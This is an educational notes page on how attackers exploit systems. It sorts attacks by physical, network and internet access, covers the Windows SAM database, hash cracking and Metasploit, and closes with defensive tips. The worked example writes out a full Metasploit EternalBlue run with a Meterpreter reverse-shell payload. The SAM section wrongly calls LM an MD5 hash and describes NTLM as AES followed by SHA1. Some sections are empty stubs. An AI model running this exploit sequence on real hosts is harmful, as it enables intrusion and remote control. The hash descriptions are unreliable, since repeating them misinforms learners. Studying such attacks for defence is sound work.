Exploitation

Exploitation is unethical just as robbery is unethical, however viKid believes that we should speak openly about how system vulnerabilities are exploited by ill-intentioned people.

Why?

When you don’t know how an intruder may attack you, you have no ability to build a defense. For example we know that House Robbers use doors and windows to get into houses. So, we put locks on them, and in some neighbourhoods, bars on windows too.

However you are only as secure as your weakest insecurity. Just as one leaky tiles leads to a roof leak, or one window on a latch that can easily be opened.

On a high level, there are 3 vectors used for exploitation:

System The perpretator has direct access to the machine
Network He is on you Network
Internet He is on the internet

System

Liveware
OS - does Authentication & Authorisation
Hardware
One can make a Live DVD/USB to go around the Host OS.
Windows sticky keys exploit (press shift 5 times)

Network

In this scenario the attacker is on your network but does not have access to your machine.

The Typical Technics:

Internet

Social Engineering and other Internet Exploits

The SAM Database (Windows)

UN - User Name eg. admin
UID - User ID eg. 500
LM - Lan Man Hash - MD5
NTLM - password encrpty then hash, AES -> SHA1

To crack hashes - the prepetrator will use Rainbow Tables

Keylogging & Anti-Keylogging

Check your AUP (Acceptable User Policy) of your company

Relytec

Brute Force

To gain access to encrypted files:

Metasploit & Armitage

An Exploit is a piece of code which is going to take the “payload” to the target machine and going to enter the target machine by exploiting the vulnerability.

A Payload is a piece of code, which is going to be executed, once it is inside the target machine. Typically it is a malware, and specifically it is a backdoor.

Metasploit is an exploitation framework that has a huge repository of exploits and payloads

Armitage is a frontend GUI for the metasploit

Recommendations to Protect Yourself

Check all ports
Patch the system
Zone Transfer files should be encrypted
Community Name should be changed in SNMP
Disable USB/CD/DVD drives on the system

Putting it together: the plain idea

Exploitation is the moment an attacker turns a weakness into access. Everything on this page sorts that moment by where the attacker stands: with physical access to the machine (system), on your local network (network), or out on the wider internet. The closer they are, the simpler the attack. Someone sitting at your keyboard with a boot USB barely needs skill; someone across the internet needs to chain several weaknesses together.

Why viKid writes about it

As the intro says: you cannot defend against what you do not understand. This is the same reasoning a locksmith uses to study lock-picking. Knowing the Windows sticky-keys trick is why you set a firmware password and full-disk encryption. Knowing that payloads ride in on exploits is why you patch. The point is never to break in; it is to see your own house the way a burglar would.

An everyday analogy: the three ways into a house

A thief with a key to your front door (system access) just walks in. A thief loitering in your shared hallway (network access) can follow you in or fiddle with the lock. A thief who has never seen your street (internet access) has to find your address, pick a weak point from afar, and trick a door into opening. Same goal, very different effort, and very different defences at each range.

A worked example: exploit versus payload

The distinction my Metasploit note draws is the heart of the craft:

The exploit is the way in, the crowbar that fits one specific flaw (say, an unpatched service).
The payload is what you brought with you, the thing that runs once inside (commonly a reverse shell or backdoor that calls home).

In Metasploit that looks like choosing one of each:

use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.1.40
set LHOST  192.168.1.10
run

The exploit (EternalBlue, the leaked SMB flaw behind WannaCry) opens the door; the payload (Meterpreter) is the agent that then gives remote control. Patch the flaw and the crowbar no longer fits, which is exactly why “patch the system” tops the recommendations.

A 2026 update

The vectors are unchanged, but the fashionable targets have moved: phishing and stolen credentials now cause more breaches than clever memory-corruption exploits, ransomware has industrialised the “payload” business, and supply-chain attacks poison software before it even reaches you. Defensively, memory-safe languages (Rust), exploit mitigations (ASLR, DEP, control-flow guards), multi-factor authentication and endpoint detection have all raised the bar. The old hashes in my SAM note, LM and NTLM, are a good example of how time moves: both are now considered weak, and defenders disable LM entirely.

Common misconceptions

“Exploitation needs genius code.” Most real-world compromise is a reused password or a clicked link, not a zero-day.
“If I’m patched, I’m safe.” Patching closes known doors; social engineering walks in through the people.
“A payload is the exploit.” They are separate; one gets in, the other acts.

How it connects

Enumeration: the mapping that comes first.
ARP and DNS poisoning, Social Engineering: the network and internet techniques named above.
Rainbow Tables and Encryption: cracking the hashes this page collects.
Metasploit: the framework that packages exploits and payloads.

The truth revealed: exploitation is less about breaking things than about noticing the gap everyone else walked past, which is exactly why it is worth understanding before someone else does.